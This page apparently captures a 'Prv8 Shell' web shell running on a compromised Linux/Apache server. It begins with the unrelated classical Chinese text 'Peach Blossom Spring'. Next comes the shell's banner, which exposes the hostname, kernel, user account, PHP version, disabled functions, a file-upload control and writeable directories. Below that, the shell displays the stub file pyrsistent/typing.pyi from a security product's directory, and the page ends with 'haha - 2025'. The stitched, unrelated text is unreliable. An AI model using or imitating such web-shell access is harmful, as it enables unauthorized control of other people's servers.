晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/pyrsistent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/imunify360/venv/lib/python3.11/site-packages/pyrsistent/typing.pyi
# flake8: noqa: E704
# from https://gist.github.com/WuTheFWasThat/091a17d4b5cab597dfd5d4c2d96faf09
# Stubs for pyrsistent (Python 3.6)
#
from typing import Any
from typing import Callable
from typing import Dict
from typing import Generic
from typing import Hashable
from typing import Iterator
from typing import Iterable
from typing import List
from typing import Mapping
from typing import Optional
from typing import Sequence
from typing import AbstractSet
from typing import Sized
from typing import Set
from typing import Tuple
from typing import TypeVar
from typing import Type
from typing import Union
from typing import overload

T = TypeVar('T')
KT = TypeVar('KT')
VT = TypeVar('VT')


class PMap(Mapping[KT, VT], Hashable):
    def __add__(self, other: PMap[KT, VT]) -> PMap[KT, VT]: ...
    def __getitem__(self, key: KT) -> VT: ...
    def __getattr__(self, key: str) -> VT: ...
    def __hash__(self) -> int: ...
    def __iter__(self) -> Iterator[KT]: ...
    def __len__(self) -> int: ...
    def copy(self) -> PMap[KT, VT]: ...
    def discard(self, key: KT) -> PMap[KT, VT]: ...
    def evolver(self) -> PMapEvolver[KT, VT]: ...
    def iteritems(self) -> Iterable[Tuple[KT, VT]]: ...
    def iterkeys(self) -> Iterable[KT]: ...
    def itervalues(self) -> Iterable[VT]: ...
    def remove(self, key: KT) -> PMap[KT, VT]: ...
    def set(self, key: KT, val: VT) -> PMap[KT, VT]: ...
    def transform(self, *transformations: Any) -> PMap[KT, VT]: ...
    def update(self, *args: Mapping): ...
    def update_with(self, update_fn: Callable[[VT, VT], VT], *args: Mapping) -> Any: ...


class PMapEvolver(Generic[KT, VT]):
    def __delitem__(self, key: KT) -> None: ...
    def __getitem__(self, key: KT) -> VT: ...
    def __len__(self) -> int: ...
    def __setitem__(self, key: KT, val: VT) -> None: ...
    def is_dirty(self) -> bool: ...
    def persistent(self) -> PMap[KT, VT]: ...
    def remove(self, key: KT) -> PMapEvolver[KT, VT]: ...
    def set(self, key: KT, val: VT) -> PMapEvolver[KT, VT]: ...


class PVector(Sequence[T], Hashable):
    def __add__(self, other: PVector[T]) -> PVector[T]: ...
    @overload
    def __getitem__(self, index: int) -> T: ...
    @overload
    def __getitem__(self, index: slice) -> PVector[T]: ...
    def __hash__(self) -> int: ...
    def __len__(self) -> int: ...
    def __mul__(self, other: PVector[T]) -> PVector[T]: ...
    def append(self, val: T) -> PVector[T]: ...
    def delete(self, index: int, stop: Optional[int] = None) -> PVector[T]: ...
    def evolver(self) -> PVectorEvolver[T]: ...
    def extend(self, obj: Iterable[T]) -> PVector[T]: ...
    def tolist(self) -> List[T]: ...
    def mset(self, *args: Iterable[Union[T, int]]) -> PVector[T]: ...
    def remove(self, value: T) -> PVector[T]: ...
    # Not compatible with MutableSequence
    def set(self, i: int, val: T) -> PVector[T]: ...
    def transform(self, *transformations: Any) -> PVector[T]: ...


class PVectorEvolver(Sequence[T], Sized):
    def __delitem__(self, i: Union[int, slice]) -> None: ...
    @overload
    def __getitem__(self, index: int) -> T: ...
    # Not actually supported
    @overload
    def __getitem__(self, index: slice) -> PVectorEvolver[T]: ...
    def __len__(self) -> int: ...
    def __setitem__(self, index: int, val: T) -> None: ...
    def append(self, val: T) -> PVectorEvolver[T]: ...
    def delete(self, value: T) -> PVectorEvolver[T]: ...
    def extend(self, obj: Iterable[T]) -> PVectorEvolver[T]: ...
    def is_dirty(self) -> bool: ...
    def persistent(self) -> PVector[T]: ...
    def set(self, i: int, val: T) -> PVectorEvolver[T]: ...


class PSet(AbstractSet[T], Hashable):
    def __contains__(self, element: object) -> bool: ...
    def __hash__(self) -> int: ...
    def __iter__(self) -> Iterator[T]: ...
    def __len__(self) -> int: ...
    def add(self, element: T) -> PSet[T]: ...
    def copy(self) -> PSet[T]: ...
    def difference(self, iterable: Iterable) -> PSet[T]: ...
    def discard(self, element: T) -> PSet[T]: ...
    def evolver(self) -> PSetEvolver[T]: ...
    def intersection(self, iterable: Iterable) -> PSet[T]: ...
    def issubset(self, iterable: Iterable) -> bool: ...
    def issuperset(self, iterable: Iterable) -> bool: ...
    def remove(self, element: T) -> PSet[T]: ...
    def symmetric_difference(self, iterable: Iterable[T]) -> PSet[T]: ...
    def union(self, iterable: Iterable[T]) -> PSet[T]: ...
    def update(self, iterable: Iterable[T]) -> PSet[T]: ...


class PSetEvolver(Generic[T], Sized):
    def __len__(self) -> int: ...
    def add(self, element: T) -> PSetEvolver[T]: ...
    def is_dirty(self) -> bool: ...
    def persistent(self) -> PSet[T]: ...
    def remove(self, element: T) -> PSetEvolver[T]: ...


class PBag(Generic[T], Sized, Hashable):
    def __add__(self, other: PBag[T]) -> PBag[T]: ...
    def __and__(self, other: PBag[T]) -> PBag[T]: ...
    def __contains__(self, elem: object) -> bool: ...
    def __hash__(self) -> int: ...
    def __iter__(self) -> Iterator[T]: ...
    def __len__(self) -> int: ...
    def __or__(self, other: PBag[T]) -> PBag[T]: ...
    def __sub__(self, other: PBag[T]) -> PBag[T]: ...
    def add(self, elem: T) -> PBag[T]: ...
    def count(self, elem: T) -> int: ...
    def remove(self, elem: T) -> PBag[T]: ...
    def update(self, iterable: Iterable[T]) -> PBag[T]: ...


class PDeque(Sequence[T], Hashable):
    @overload
    def __getitem__(self, index: int) -> T: ...
    @overload
    def __getitem__(self, index: slice) -> PDeque[T]: ...
    def __hash__(self) -> int: ...
    def __len__(self) -> int: ...
    def __lt__(self, other: PDeque[T]) -> bool: ...
    def append(self, elem: T) -> PDeque[T]: ...
    def appendleft(self, elem: T) -> PDeque[T]: ...
    def extend(self, iterable: Iterable[T]) -> PDeque[T]: ...
    def extendleft(self, iterable: Iterable[T]) -> PDeque[T]: ...
    @property
    def left(self) -> T: ...
    # The real return type is Integral according to what pyrsistent
    # checks at runtime but mypy doesn't deal in numeric.*:
    # https://github.com/python/mypy/issues/2636
    @property
    def maxlen(self) -> int: ...
    def pop(self, count: int = 1) -> PDeque[T]: ...
    def popleft(self, count: int = 1) -> PDeque[T]: ...
    def remove(self, elem: T) -> PDeque[T]: ...
    def reverse(self) -> PDeque[T]: ...
    @property
    def right(self) -> T: ...
    def rotate(self, steps: int) -> PDeque[T]: ...


class PList(Sequence[T], Hashable):
    @overload
    def __getitem__(self, index: int) -> T: ...
    @overload
    def __getitem__(self, index: slice) -> PList[T]: ...
    def __hash__(self) -> int: ...
    def __len__(self) -> int: ...
    def __lt__(self, other: PList[T]) -> bool: ...
    def __gt__(self, other: PList[T]) -> bool: ...
    def cons(self, elem: T) -> PList[T]: ...
    @property
    def first(self) -> T: ...
    def mcons(self, iterable: Iterable[T]) -> PList[T]: ...
    def remove(self, elem: T) -> PList[T]: ...
    @property
    def rest(self) -> PList[T]: ...
    def reverse(self) -> PList[T]: ...
    def split(self, index: int) -> Tuple[PList[T], PList[T]]: ...

T_PClass = TypeVar('T_PClass', bound='PClass')

class PClass(Hashable):
    def __new__(cls, **kwargs: Any): ...
    def set(self: T_PClass, *args: Any, **kwargs: Any) -> T_PClass: ...
    @classmethod
    def create(
        cls: Type[T_PClass],
        kwargs: Any,
        _factory_fields: Optional[Any] = ...,
        ignore_extra: bool = ...,
    ) -> T_PClass: ...
    def serialize(self, format: Optional[Any] = ...): ...
    def transform(self, *transformations: Any): ...
    def __eq__(self, other: object): ...
    def __ne__(self, other: object): ...
    def __hash__(self): ...
    def __reduce__(self): ...
    def evolver(self) -> PClassEvolver: ...
    def remove(self: T_PClass, name: Any) -> T_PClass: ...

class PClassEvolver:
    def __init__(self, original: Any, initial_dict: Any) -> None: ...
    def __getitem__(self, item: Any): ...
    def set(self, key: Any, value: Any): ...
    def __setitem__(self, key: Any, value: Any) -> None: ...
    def remove(self, item: Any): ...
    def __delitem__(self, item: Any) -> None: ...
    def persistent(self) -> PClass: ...
    def __getattr__(self, item: Any): ...



class CheckedPMap(PMap[KT, VT]):
    __key_type__: Type[KT]
    __value_type__: Type[VT]
    def __new__(cls, source: Mapping[KT, VT] = ..., size: int = ...) -> CheckedPMap: ...
    @classmethod
    def create(cls, source_data: Mapping[KT, VT], _factory_fields: Any = ...) -> CheckedPMap[KT, VT]: ...
    def serialize(self, format: Optional[Any] = ...) -> Dict[KT, VT]: ...


class CheckedPVector(PVector[T]):
    __type__: Type[T]
    def __new__(self, initial: Iterable[T] = ...) -> CheckedPVector: ...
    @classmethod
    def create(cls, source_data: Iterable[T], _factory_fields: Any = ...) -> CheckedPVector[T]: ...
    def serialize(self, format: Optional[Any] = ...) -> List[T]: ...


class CheckedPSet(PSet[T]):
    __type__: Type[T]
    def __new__(cls, initial: Iterable[T] = ...) -> CheckedPSet: ...
    @classmethod
    def create(cls, source_data: Iterable[T], _factory_fields: Any = ...) -> CheckedPSet[T]: ...
    def serialize(self, format: Optional[Any] = ...) -> Set[T]: ...


class InvariantException(Exception):
    invariant_errors: Tuple[Any, ...] = ...  # possibly nested tuple
    missing_fields: Tuple[str, ...] = ...
    def __init__(
        self,
        error_codes: Any = ...,
        missing_fields: Any = ...,
        *args: Any,
        **kwargs: Any
    ) -> None: ...


class CheckedTypeError(TypeError):
    source_class: Type[Any]
    expected_types: Tuple[Any, ...]
    actual_type: Type[Any]
    actual_value: Any
    def __init__(
        self,
        source_class: Any,
        expected_types: Any,
        actual_type: Any,
        actual_value: Any,
        *args: Any,
        **kwargs: Any
    ) -> None: ...


class CheckedKeyTypeError(CheckedTypeError): ...
class CheckedValueTypeError(CheckedTypeError): ...
class CheckedType: ...


class PTypeError(TypeError):
    source_class: Type[Any] = ...
    field: str = ...
    expected_types: Tuple[Any, ...] = ...
    actual_type: Type[Any] = ...
    def __init__(
        self,
        source_class: Any,
        field: Any,
        expected_types: Any,
        actual_type: Any,
        *args: Any,
        **kwargs: Any
    ) -> None: ...

haha - 2025